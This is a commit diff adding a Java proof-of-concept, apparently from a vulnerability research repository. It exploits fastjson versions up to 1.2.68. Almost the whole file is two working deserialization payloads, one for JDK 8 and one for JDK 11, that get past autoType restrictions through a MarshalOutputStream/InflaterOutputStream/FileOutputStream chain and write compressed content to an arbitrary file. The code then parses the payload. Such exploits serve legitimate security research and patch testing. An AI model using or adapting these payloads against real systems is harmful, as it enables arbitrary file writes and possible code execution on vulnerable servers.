add FileWriteBypassAutoType1_2_68

Author: threedr3am

fastjson/src/main/java/com/threedr3am/bug/fastjson/file/FileWriteBypassAutoType1_2_68.java

@@ -0,0 +1,68 @@
+package com.threedr3am.bug.fastjson.file;
+
+import com.alibaba.fastjson.JSON;
+import java.io.IOException;
+
+/**
+ *
+ * fastjson <= 1.2.68
+ *
+ * todo 貌似ASM对于JDK8和JDK11字节码的本地变量表会有点特殊的处理，使得没有无参构造方法也能被反射实例化
+ *
+ * @author threedr3am
+ */
+public class FileWriteBypassAutoType1_2_68 {
+
+
+  public static void main(String[] args) throws IOException {
+
+    String json = "{\n"
+        + "    '@type':\"java.lang.AutoCloseable\",\n"
+        + "    '@type':'sun.rmi.server.MarshalOutputStream',\n"
+        + "    'out':\n"
+        + "    {\n"
+        + "        '@type':'java.util.zip.InflaterOutputStream',\n"
+        + "        'out':\n"
+        + "        {\n"
+        + "           '@type':'java.io.FileOutputStream',\n"
+        + "           'file':'dst',\n"
+        + "           'append':false\n"
+        + "        },\n"
+        + "        'infl':\n"
+        + "        {\n"
+        + "            'input':'eJwL8nUyNDJSyCxWyEgtSgUAHKUENw=='\n"
+        + "        },\n"
+        + "        'bufLen':1048576\n"
+        + "    },\n"
+        + "    'protocolVersion':1\n"
+        + "}";
+//    JSON.parse(json);
+
+    String json_for_jdk11 = "{\n"
+        + "    '@type':\"java.lang.AutoCloseable\",\n"
+        + "    '@type':'sun.rmi.server.MarshalOutputStream',\n"
+        + "    'out':\n"
+        + "    {\n"
+        + "        '@type':'java.util.zip.InflaterOutputStream',\n"
+        + "        'out':\n"
+        + "        {\n"
+        + "           '@type':'java.io.FileOutputStream',\n"
+        + "           'file':'dst',\n"
+        + "           'append':false\n"
+        + "        },\n"
+        + "        'infl':\n"
+        + "        {\n"
+        + "            'input':\n"
+        + "            {\n"
+        + "                'array':'eJwL8nUyNDJSyCxWyEgtSgUAHKUENw==',\n"
+        + "                'limit':22\n"
+        + "            }\n"
+        + "        },\n"
+        + "        'bufLen':1048576\n"
+        + "    },\n"
+        + "    'protocolVersion':1\n"
+        + "}";
+    JSON.parse(json_for_jdk11);
+  }
+
+}